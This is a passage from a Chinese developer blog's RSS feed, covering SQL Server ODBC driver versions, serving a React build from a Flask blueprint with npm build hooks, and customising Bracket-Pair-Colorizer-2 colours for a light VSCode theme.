组件</a> 的一部分提供。对于新开发的程序，不建议使用此驱动程序。</li><li>从 SQL Server 2005 开始，<a href="#SQL-Server-Native-Client">SQL Server Native Client</a> 包含一个 ODBC 接口，并且它是 SQL Server 2005 至 SQL Server 2012 中随附的 ODBC 驱动程序。 对于新开发，也不建议使用此驱动程序。</li><li>在 SQL Server 2012 之后，<a href="#Microsoft-ODBC-Driver-for-SQL-Server">Microsoft ODBC Driver for SQL Server</a> 驱动程序随最新的服务器功能进行更新。</li></ul><h2 id="SQL-Server-Native-Client">SQL Server Native Client<a class="header-anchor" href="#SQL-Server-Native-Client"></a></h2><p>SQL Server 2005 引入了 SQL Server Native Client 的支持，可用于 ODBC 的连接。</p><p>SQL Server 2005 至 SQL Server 2012 都在进行 SQL Server Native Client（通常缩写为 SNAC）的开发。SQL Server Native Client 10.0 跟着 SQL Server 2008 一起发版。SQL Server Native Client 11.0 跟着 SQL Server 2012 一起发版。</p><p>可以在这儿下载到所有的历史版本：<a href="https://www.connectionstrings.com/download-sql-server-native-client/">Download SQL Server Native Client - ConnectionStrings.com</a></p><p>想使用的话找到最新版的安装就行，驱动都是向前兼容的。需要注意的就是不同的 SQLServer 版本设置的驱动名字：</p><ul><li><code>Driver={SQL Server Native Client}</code> (SQL Server 2005)</li><li><code>Driver={SQL Server Native Client 10.0}</code> (SQL Server 2008)</li><li><code>Driver={SQL Server Native Client 11.0}</code> (SQL Server 2012 及之后)</li></ul><p>但是微软<a href="https://docs.microsoft.com/zh-cn/archive/blogs/sqlnativeclient/introducing-the-new-microsoft-odbc-drivers-for-sql-server">在 13 年宣布了新版的 ODBC Driver</a>，也就是下面这个。在 17 年放弃了对 SNAC 的开发，被下面这个驱动取代，新版的驱动性能更好，支持 SQLServer 2012 之后的数据库的新特性。</p><h2 id="Microsoft-ODBC-Driver-for-SQL-Server">Microsoft ODBC Driver for SQL Server<a class="header-anchor" href="#Microsoft-ODBC-Driver-for-SQL-Server"></a></h2><p><a href="https://docs.microsoft.com/en-us/sql/connect/odbc/download-odbc-driver-for-sql-server">最新版驱动下载地址</a> &nbsp; | &nbsp; <a href="https://docs.microsoft.com/zh-cn/sql/connect/odbc/windows/release-notes-odbc-sql-server-windows?view=sql-server-ver15#previous-releases">历史版本驱动下载地址</a></p><p>使用方法也是安装好驱动程序，设置驱动名字。</p><p>驱动名字格式：</p><ul><li><code>Driver={ODBC Driver XX for SQL Server}</code> (XX 是你安装的驱动版本的名字)</li></ul><table><thead><tr><th>数据库版本&nbsp;→<br>↓ 驱动程序版本</th><th>Azure SQL Database</th><th>Azure Synapse Analytics</th><th>Azure SQL 托管实例</th><th>SQL Server 2019</th><th>SQL Server 2017</th><th>SQL Server 2016</th><th>SQL Server 2014</th><th>SQL Server 2012</th><th>SQL Server 2008 R2</th><th>SQL Server 2008</th><th>SQL Server 2005</th></tr></thead><tbody><tr><td>17.6</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td></td><td></td><td></td></tr><tr><td>17.5</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td></td><td></td><td></td></tr><tr><td>17.4</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td></td><td></td><td></td></tr><tr><td>17.3</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td></td></tr><tr><td>17.2</td><td>是</td><td>是</td><td>是</td><td></td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td></td></tr><tr><td>17.1</td><td>是</td><td>是</td><td>是</td><td></td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td></td></tr><tr><td>17.0</td><td>是</td><td>是</td><td>是</td><td></td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td></td></tr><tr><td>13.1</td><td></td><td></td><td></td><td></td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td></td></tr><tr><td>13</td><td></td><td></td><td></td><td></td><td></td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td><td></td></tr><tr><td>11</td><td></td><td></td><td></td><td></td><td></td><td></td><td>是</td><td>是</td><td>是</td><td>是</td><td>是</td></tr></tbody></table><p align="center">SQL 版本兼容性 | 表格来自 <a href="https://docs.microsoft.com/zh-cn/sql/connect/odbc/windows/system-requirements-installation-and-driver-files?view=sql-server-ver15#sql-version-compatibility">Microsoft</a></p><h2 id="总结">总结<a class="header-anchor" href="#总结"></a></h2><p><code>ODBC Driver for SQL Server</code> 的性能更好，新版本有很多优化，有新特性，2021 年做开发就要选他。</p><p>不同的驱动版本的支持的数据库版本也不同。请你一定要看好自己的 SQLServer 版本，去安装对应版本的驱动，然后配置好驱动名字。</p><p>还发现了一个非常棒的网站：<a href="https://www.connectionstrings.com/">ConnectionStrings</a></p><blockquote><p><a href="http://ConnectionStrings.com">ConnectionStrings.com</a> helps developers connect software to data. It’s a straight to the point reference about connection strings, a <a href="https://www.connectionstrings.com/kb/">knowledge base</a> of articles and database connectivity content and a host of <a href="https://www.connectionstrings.com/questions/">Q &amp; A forums</a> where developers help each other finding solutions.</p></blockquote><p><a href="http://ConnectionStrings.com">ConnectionStrings.com</a> 帮助开发人员将软件连接到数据库。它是一个关于连接字符串的直接参考、一个数据库连接内容和文章的知识库，同时也是一个问答论坛，开发人员可以在这里互相帮助寻找解决方案。</p><h2 id="参考链接">参考链接<a class="header-anchor" href="#参考链接"></a></h2><ul><li><a href="https://stackoverflow.com/questions/39440008/differences-between-drivers-for-odbc-drivers">sql server - Differences Between Drivers for ODBC Drivers - Stack Overflow</a></li><li><a href="https://docs.microsoft.com/zh-cn/sql/connect/odbc/windows/release-notes-odbc-sql-server-windows?view=sql-server-ver15#previous-releases">Windows 上的 ODBC Driver for SQL Server 发行说明 - SQL Server | Microsoft Docs</a></li><li><a href="https://docs.microsoft.com/en-us/sql/relational-databases/native-client/applications/installing-sql-server-native-client?view=sql-server-ver15">Installing - SQL Server Native Client | Microsoft Docs</a></li><li><a href="https://docs.microsoft.com/en-us/sql/connect/connect-history?view=sql-server-ver15#odbc">Driver history for Microsoft SQL Server - SQL Server | Microsoft Docs</a></li><li><a href="https://docs.microsoft.com/zh-cn/sql/connect/odbc/windows/system-requirements-installation-and-driver-files?view=sql-server-ver15#sql-version-compatibility">系统要求、安装和驱动程序文件 - SQL Server | Microsoft Docs</a></li></ul>]]>
      </content:encoded>
    </item>
    <item>
      <title>使用 Flask 加载打包后的 React 前端页面</title>
      <link>https://cat.ms/posts/serving-a-front-end-created-with-create-react-app-with-flask/</link>
      <description>
        <![CDATA[<p>最近在忙一个外包，因为大屏展示页面是用 React 写的（使用 create-react-app），甲方想访问后端控制页面的网址就能直接访问这个大屏展示，而不是前后端分离部署。</p>
<p>自己尝试了一下，还是遇到了点问题。</p>
<p>create-react-app 会将打包的结果放在项目根目录中的 build 文件夹，打包后的路径结构：</p>
<figure class="highlight plaintext"><figcaption><span>build directory structure</span><a href="https://stackoverflow.com/questions/44209978/serving-a-front-end-created-with-create-react-app-with-flask">Source</a></figcaption><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">- build</span><br><span class="line">  - static</span><br><span class="line">    - css</span><br><span class="line">        - style.[hash].css</span><br><span class="line">        - style.[hash].css.map</span><br><span class="line">    - js</span><br><span class="line">        - main.[hash].js</span><br><span class="line">        - main.[hash].js.map</span><br><span class="line">  - index.html</span><br><span class="line">  - [more meta files]</span><br></pre></td></tr></tbody></table></figure>
<p>create-react-app 打包的静态资源都放在了 <code>static</code> 路径下。比如打包后 <code>index.html</code> 中的一个链接：</p>
<figure class="highlight html"><figcaption><span>index.html</span></figcaption><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">link</span> <span class="attr">href</span>=<span class="string">"/static/css/2.0a6fdfd6.chunk.css"</span> <span class="attr">rel</span>=<span class="string">"stylesheet"</span> /&gt;</span></span><br></pre></td></tr></tbody></table></figure>
<p>浏览器解析后，会发出一个请求 <code>GET /static/css/2.0a6fdfd6.chunk.css</code>。</p>
<p>如果简单的添加一个路由返回 <code>index.html</code> 文件的话，就有以下的问题出现：</p>
<p>因为 Flask 本身就有 <code>static_folder</code> 的概念，所有请求 <code>/static</code> 路径的请求都会从配置的 <code>static_folder</code> 中读取文件并返回。</p>
<pre><code class="mermaid">
graph LR
A(Browser) --&gt;|GET /index.html| app(Flask app)
A(Browser) --&gt;|GET /static/css/style.css| app(Flask app)
app --&gt; C{endpoints}
C --&gt;|/index.html| view[Handled by `View` Function]
C --&gt;|/static/\*| static[Load files from `static_folder`]
</code>
</pre>
<p>index.html 中请求的资源都会从 <code>static_folder</code> 中拉取，那你说把打包后的文件直接放在 <code>static_folder</code> 不就好了？</p>
<p>因为本身 <code>static_folder</code> 中就有一些后台页面需要的静态资源，也是按类型建立了文件夹：css / js 等，如果直接把 React 打包后的资源直接复制到 <code>static_folder</code> 中，那么不同的 js 文件都混杂在一起了。React 每次重新打包生成的 js 文件都不一样的话，每次更新起来还要把原来的删除再复制过去。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/Flask/">Flask</category>
      <category domain="https://cat.ms/tags/Flask/">Flask</category>
      <category domain="https://cat.ms/tags/React/">React</category>
      <pubDate>Thu, 24 Dec 2020 02:56:58 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>最近在忙一个外包，因为大屏展示页面是用 React 写的（使用 create-react-app），甲方想访问后端控制页面的网址就能直接访问这个大屏展示，而不是前后端分离部署。</p><p>自己尝试了一下，还是遇到了点问题。</p><p>create-react-app 会将打包的结果放在项目根目录中的 build 文件夹，打包后的路径结构：</p><figure class="highlight plaintext"><figcaption><span>build directory structure</span><a href="https://stackoverflow.com/questions/44209978/serving-a-front-end-created-with-create-react-app-with-flask">Source</a></figcaption><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">- build</span><br><span class="line">  - static</span><br><span class="line">    - css</span><br><span class="line">        - style.[hash].css</span><br><span class="line">        - style.[hash].css.map</span><br><span class="line">    - js</span><br><span class="line">        - main.[hash].js</span><br><span class="line">        - main.[hash].js.map</span><br><span class="line">  - index.html</span><br><span class="line">  - [more meta files]</span><br></pre></td></tr></tbody></table></figure><p>create-react-app 打包的静态资源都放在了 <code>static</code> 路径下。比如打包后 <code>index.html</code> 中的一个链接：</p><figure class="highlight html"><figcaption><span>index.html</span></figcaption><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">link</span> <span class="attr">href</span>=<span class="string">"/static/css/2.0a6fdfd6.chunk.css"</span> <span class="attr">rel</span>=<span class="string">"stylesheet"</span> /&gt;</span></span><br></pre></td></tr></tbody></table></figure><p>浏览器解析后，会发出一个请求 <code>GET /static/css/2.0a6fdfd6.chunk.css</code>。</p><p>如果简单的添加一个路由返回 <code>index.html</code> 文件的话，就有以下的问题出现：</p><p>因为 Flask 本身就有 <code>static_folder</code> 的概念，所有请求 <code>/static</code> 路径的请求都会从配置的 <code>static_folder</code> 中读取文件并返回。</p><pre><code class="mermaid">graph LRA(Browser) --&gt;|GET /index.html| app(Flask app)A(Browser) --&gt;|GET /static/css/style.css| app(Flask app)app --&gt; C{endpoints}C --&gt;|/index.html| view[Handled by `View` Function]C --&gt;|/static/\*| static[Load files from `static_folder`]</code></pre><p>index.html 中请求的资源都会从 <code>static_folder</code> 中拉取，那你说把打包后的文件直接放在 <code>static_folder</code> 不就好了？</p><p>因为本身 <code>static_folder</code> 中就有一些后台页面需要的静态资源，也是按类型建立了文件夹：css / js 等，如果直接把 React 打包后的资源直接复制到 <code>static_folder</code> 中，那么不同的 js 文件都混杂在一起了。React 每次重新打包生成的 js 文件都不一样的话，每次更新起来还要把原来的删除再复制过去。</p><span id="more"></span><h2 id="解决方案">解决方案<a class="header-anchor" href="#解决方案"></a></h2><p>搜了一下解决方案，发现了 Stackoverflow 的 <a href="https://stackoverflow.com/questions/44209978/serving-a-front-end-created-with-create-react-app-with-flask">讨论</a>，顺利应用，记录一下过程。</p><p>顺便一提，一般前后端分离的部署是使用 Nginx 等 Server 来返回静态资源，也方便做缓存之类的。</p><p>高票答案的解法是捕获所有路由，根据请求的路径来返回对应的文件。</p><p>他（以及群策众力）的栗子：</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, send_from_directory</span><br><span class="line"></span><br><span class="line">app = Flask(__name__, static_folder=<span class="string">'react_app/build'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Serve React App</span></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/'</span>, defaults={<span class="string">'path'</span>: <span class="string">''</span>}</span>)</span></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/&lt;path:path&gt;'</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">serve</span>(<span class="params">path</span>):</span><br><span class="line">    <span class="keyword">if</span> path != <span class="string">""</span> <span class="keyword">and</span> os.path.exists(app.static_folder + <span class="string">'/'</span> + path):</span><br><span class="line">        <span class="keyword">return</span> send_from_directory(app.static_folder, path)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> send_from_directory(app.static_folder, <span class="string">'index.html'</span>)</span><br></pre></td></tr></tbody></table></figure><p>就是根据请求的 <code>path</code> 来从不同的文件夹返回内容。测试路径是否要请求一个文件 =&gt; 发送相应的文件 =&gt; 否则发送 index.html。</p><h2 id="实战">实战<a class="header-anchor" href="#实战"></a></h2><p>根据思路，我们也要捕获所有的路径:</p><p>业务的关系，我这里使用一个 <code>front</code> 蓝图来 serve 静态网站，路径在 <code>app/front_api/__init__.py</code>。</p><p>把静态资源放在 <code>app/react_app</code> 下：</p><p><img data-src="https://i.cat.ms/posts/serving-a-front-end-created-with-create-react-app-with-flask/app_struct.png" alt="文件夹结构"></p><p>然后设置 <code>react_folder</code> 这个变量为静态资源的路径就好。</p><figure class="highlight py"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pathlib <span class="keyword">import</span> Path</span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Blueprint, send_from_directory</span><br><span class="line"></span><br><span class="line">front = Blueprint(<span class="string">"front"</span>, __name__, url_prefix=<span class="string">"/front"</span>)</span><br><span class="line"></span><br><span class="line">react_folder = (</span><br><span class="line">    Path(__file__).parent.parent / <span class="string">"react_app"</span></span><br><span class="line">).absolute()</span><br><span class="line"></span><br><span class="line"><span class="comment"># Serve React App</span></span><br><span class="line"><span class="meta">@front.route(<span class="params"><span class="string">"/"</span>, defaults={<span class="string">"path"</span>: <span class="string">""</span>}</span>)</span></span><br><span class="line"><span class="meta">@front.route(<span class="params"><span class="string">"/&lt;path:path&gt;"</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">serve</span>(<span class="params">path</span>):</span><br><span class="line">    <span class="keyword">if</span> path != <span class="string">""</span> <span class="keyword">and</span> (react_folder / path).exists():</span><br><span class="line">        <span class="keyword">return</span> send_from_directory(<span class="built_in">str</span>(react_folder), path)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> send_from_directory(<span class="built_in">str</span>(react_folder), <span class="string">"index.html"</span>)</span><br></pre></td></tr></tbody></table></figure><h3 id="设置前端-homepage">设置前端 homepage<a class="header-anchor" href="#设置前端-homepage"></a></h3><p>由于使用了蓝图的前缀功能，所以我们前端拉取静态资源的时候也得有个前缀才能访问到具体文件。</p><p>举个例子，当你访问 <code>http://localhost:5000/front</code> 的时候是获取到 <code>index.html</code>，然后 <code>index.html</code> 里面的资源地址还是 <code>/static/xxxx</code>，我们得让浏览器往 <code>/front/static/xxxx</code> 访问才能被我们的视图函数捕捉到。</p><p>我们可以在 <code>package.json</code> 中设置 <code>homepage</code> 参数来指定基本路径。在 <code>package.json</code> 中设置即可：</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">"homepage"</span><span class="punctuation">:</span> <span class="string">"."</span></span><br></pre></td></tr></tbody></table></figure><p>这样 <code>index.html</code> 里面的资源地址就会被设置为 <code>./static/xxxx</code>，浏览器访问时也就会访问 <code>/front</code> + <code>./static/xxx</code> 了。</p><p>这样就会被我们的视图函数捕捉到，然后从设置的文件夹中拉取文件了。</p><h3 id="设置后端-API-地址">设置后端 API 地址<a class="header-anchor" href="#设置后端-API-地址"></a></h3><p>还有一个小点要注意。前端进行开发测试的时候也要请求后端，所以发请求的时候要注意根据不同开发环境来设置不同的 BASE_URL：</p><figure class="highlight js"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable constant_">BASE_URL</span>;</span><br><span class="line"><span class="keyword">if</span> (!process.<span class="property">env</span>.<span class="property">NODE_ENV</span> || process.<span class="property">env</span>.<span class="property">NODE_ENV</span> === <span class="string">'development'</span>) {</span><br><span class="line">  <span class="variable constant_">BASE_URL</span> = <span class="string">'http://127.0.0.1:5000'</span>;</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line">  <span class="variable constant_">BASE_URL</span> = <span class="string">''</span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">// 发请求时拼接链接： BASE_URL + "/front/alarm"</span></span><br></pre></td></tr></tbody></table></figure><p>这样整个功能就实现好了。</p><h2 id="优化">优化<a class="header-anchor" href="#优化"></a></h2><blockquote><p>参考自：链接：<a href="https://www.jianshu.com/p/b348926fa628">https://www.jianshu.com/p/b348926fa628</a>作者：AricWu来源：简书</p></blockquote><p>我们打包后的文件需要手动移动到后端的相应文件夹里。手动移动比较麻烦的话，可以写 <a href="http://www.ruanyifeng.com/blog/2016/10/npm_scripts.html">npm scripts 的钩子</a> 来自动化这件事情。</p><p>npm 脚本有 pre 和 post 两个钩子，可以在这两个钩子完成一些准备工作和清理工作。</p><p>我们为 build 加入 prebuild 和 postbuild 两个钩子。</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">"prebuild"</span><span class="punctuation">:</span> <span class="string">"rimraf ../backend/app/react_app/*"</span><span class="punctuation">,</span></span><br><span class="line"><span class="attr">"build"</span><span class="punctuation">:</span> <span class="string">"cross-env GENERATE_SOURCEMAP=false craco build"</span><span class="punctuation">,</span></span><br><span class="line"><span class="attr">"postbuild"</span><span class="punctuation">:</span> <span class="string">"cpx -C build/** ../backend/app/react_app/"</span><span class="punctuation">,</span></span><br></pre></td></tr></tbody></table></figure><p>打包前删除后端已有的文件，打包后把新文件复制过去。</p><p>使用了 <a href="https://github.com/isaacs/rimraf">rimraf</a> 和 <a href="https://github.com/mysticatea/cpx">cpx</a> 两个跨平台的 cli 工具包。</p><p>这里还有一些其他的跨平台的 cli 工具包：<a href="https://github.com/pandawing/awesome-nodejs-cross-platform-cli">awesome-nodejs-cross-platform-cli</a></p><h2 id="参考链接">参考链接<a class="header-anchor" href="#参考链接"></a></h2><ul><li><a href="https://www.jianshu.com/p/b348926fa628">React 创建项目并打包到 Flask 后端</a></li><li><a href="https://stackoverflow.com/questions/44209978/serving-a-front-end-created-with-create-react-app-with-flask">Serving a front end created with create-react-app with Flask</a></li><li><a href="https://blog.miguelgrinberg.com/post/how-to-create-a-react--flask-project">How To Create a React + Flask Project</a></li></ul>]]>
      </content:encoded>
    </item>
    <item>
      <title>VSCode 亮色主题配置 Bracket-Pair-Colorizer-2</title>
      <link>https://cat.ms/posts/vscode-bracket-colorizer-light-theme/</link>
      <description>
        <![CDATA[<p>目前使用的亮色主题（Github Light Theme - Gray）下使用 Bracket-Pair-Colorizer-2 会发现默认的金色括号太不明显。搜索了一下 issue 发现已经有 <a href="https://github.com/CoenraadS/Bracket-Pair-Colorizer-2/issues/62">解决方案</a>。</p>
<p><img src="https://i.cat.ms/posts/vscode-bracket-colorizer-light-theme/comparison.png" alt="比较"></p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/VSCode/">VSCode</category>
      <category domain="https://cat.ms/tags/VSCode/">VSCode</category>
      <pubDate>Mon, 07 Dec 2020 05:11:28 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>目前使用的亮色主题（Github Light Theme - Gray）下使用 Bracket-Pair-Colorizer-2 会发现默认的金色括号太不明显。搜索了一下 issue 发现已经有 <a href="https://github.com/CoenraadS/Bracket-Pair-Colorizer-2/issues/62">解决方案</a>。</p><p><img data-src="https://i.cat.ms/posts/vscode-bracket-colorizer-light-theme/comparison.png" alt="比较"></p><span id="more"></span><p>Bracket-Pair-Colorizer-2 插件支持自己配置颜色，默认的颜色为：</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Scope colors</span></span><br><span class="line"><span class="attr">"bracket-pair-colorizer-2.colors"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">  <span class="string">"Gold"</span><span class="punctuation">,</span> <span class="comment">// #ffd700 金色</span></span><br><span class="line">  <span class="string">"Orchid"</span><span class="punctuation">,</span> <span class="comment">// #da70d6 粉色</span></span><br><span class="line">  <span class="string">"LightSkyBlue"</span> <span class="comment">// #87cefa 天蓝色</span></span><br><span class="line"><span class="punctuation">]</span><span class="punctuation">,</span></span><br></pre></td></tr></tbody></table></figure><p>我们可以自己更改这个列表，比如直接改成 <a href="https://github.com/CoenraadS/Bracket-Pair-Colorizer-2/issues/62#issuecomment-563248779">更鲜艳的颜色</a>：</p><p>作者在这个网站上 <a href="https://www.hexcolortool.com/">hexcolortool.com</a> 调了 20 分钟的色，最后终于找到了一个在白色背景下表现接近原版配色的颜色。</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">"bracket-pair-colorizer-2.colors"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">  <span class="string">"#ff9900"</span><span class="punctuation">,</span> <span class="comment">// Orange-Brown</span></span><br><span class="line">  <span class="string">"#f500f5"</span><span class="punctuation">,</span> <span class="comment">// Medium-Pink</span></span><br><span class="line">  <span class="string">"#54b9f8"</span> <span class="comment">// Medium-Blue</span></span><br><span class="line"><span class="punctuation">]</span><span class="punctuation">,</span></span><br></pre></td></tr></tbody></table></figure><p>但这么做有一个坏处，我们切换会暗色主题的时候，又得改一遍这个值。</p><p>我们可以通过修改 VSCode 的不同主题的配色值来达成这个目标。</p><p>比如我们就可以使用已有的配色值的字段：</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">"bracket-pair-colorizer-2.colors"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">  <span class="string">"terminal.ansiBrightMagenta"</span><span class="punctuation">,</span></span><br><span class="line">  <span class="string">"terminal.ansiYellow"</span><span class="punctuation">,</span></span><br><span class="line">  <span class="string">"terminal.ansiBrightCyan"</span></span><br><span class="line"><span class="punctuation">]</span></span><br></pre></td></tr></tbody></table></figure><p>了解了原理之后，按照 issue 里给出的 <a href="https://github.com/CoenraadS/Bracket-Pair-Colorizer-2/issues/62#issuecomment-563248779">解决方案</a>：</p><p>我们可以使用 <code>workbench.colorCustomizations</code> 来自定义覆盖当前使用主题配色的颜色。</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">"workbench.colorCustomizations"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">  <span class="attr">"[Github Light Theme - Gray]"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">    <span class="comment">// 针对相应主题配置不同的颜色</span></span><br><span class="line">    <span class="attr">"colorizer.color-1"</span><span class="punctuation">:</span> <span class="string">"#ff9900"</span><span class="punctuation">,</span> <span class="comment">// Orange-Brown...</span></span><br><span class="line">    <span class="attr">"colorizer.color-2"</span><span class="punctuation">:</span> <span class="string">"#f500f5"</span><span class="punctuation">,</span> <span class="comment">// Medium-Pink...</span></span><br><span class="line">    <span class="attr">"colorizer.color-3"</span><span class="punctuation">:</span> <span class="string">"#54b9f8"</span> <span class="comment">// Medium-Blue...</span></span><br><span class="line">  <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line">  <span class="comment">// 默认配色</span></span><br><span class="line">  <span class="attr">"colorizer.color-1"</span><span class="punctuation">:</span> <span class="string">"#ffd700"</span><span class="punctuation">,</span> <span class="comment">// "Gold". (Yellow with slight Orange)</span></span><br><span class="line">  <span class="attr">"colorizer.color-2"</span><span class="punctuation">:</span> <span class="string">"#da70d6"</span><span class="punctuation">,</span> <span class="comment">// "Orchid". (Pink)</span></span><br><span class="line">  <span class="attr">"colorizer.color-3"</span><span class="punctuation">:</span> <span class="string">"#87cefa"</span> <span class="comment">// "LightSkyBlue". (Light Blue)</span></span><br><span class="line"><span class="punctuation">}</span><span class="punctuation">,</span></span><br></pre></td></tr></tbody></table></figure><p>然后给 Bracket-Pair-Colorizer-2 把颜色设置上：</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">"bracket-pair-colorizer-2.colors"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">  <span class="string">"colorizer.color-1"</span><span class="punctuation">,</span></span><br><span class="line">  <span class="string">"colorizer.color-2"</span><span class="punctuation">,</span></span><br><span class="line">  <span class="string">"colorizer.color-3"</span></span><br><span class="line"><span class="punctuation">]</span><span class="punctuation">,</span></span><br></pre></td></tr></tbody></table></figure><p>最后就是总结以及我的 Bracket-Pair-Colorizer-2 其他配置：</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">"workbench.colorCustomizations"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">  <span class="attr">"[Github Light Theme - Gray]"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">    <span class="attr">"colorizer.color-1"</span><span class="punctuation">:</span> <span class="string">"#ff9900"</span><span class="punctuation">,</span> <span class="comment">// Orange-Brown...</span></span><br><span class="line">    <span class="attr">"colorizer.color-2"</span><span class="punctuation">:</span> <span class="string">"#f500f5"</span><span class="punctuation">,</span> <span class="comment">// Medium-Pink...</span></span><br><span class="line">    <span class="attr">"colorizer.color-3"</span><span class="punctuation">:</span> <span class="string">"#54b9f8"</span> <span class="comment">// Medium-Blue...</span></span><br><span class="line">  <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">"colorizer.color-1"</span><span class="punctuation">:</span> <span class="string">"#ffd700"</span><span class="punctuation">,</span> <span class="comment">// "Gold". (Yellow with slight Orange)</span></span><br><span class="line">  <span class="attr">"colorizer.color-2"</span><span class="punctuation">:</span> <span class="string">"#da70d6"</span><span class="punctuation">,</span> <span class="comment">// "Orchid". (Pink)</span></span><br><span 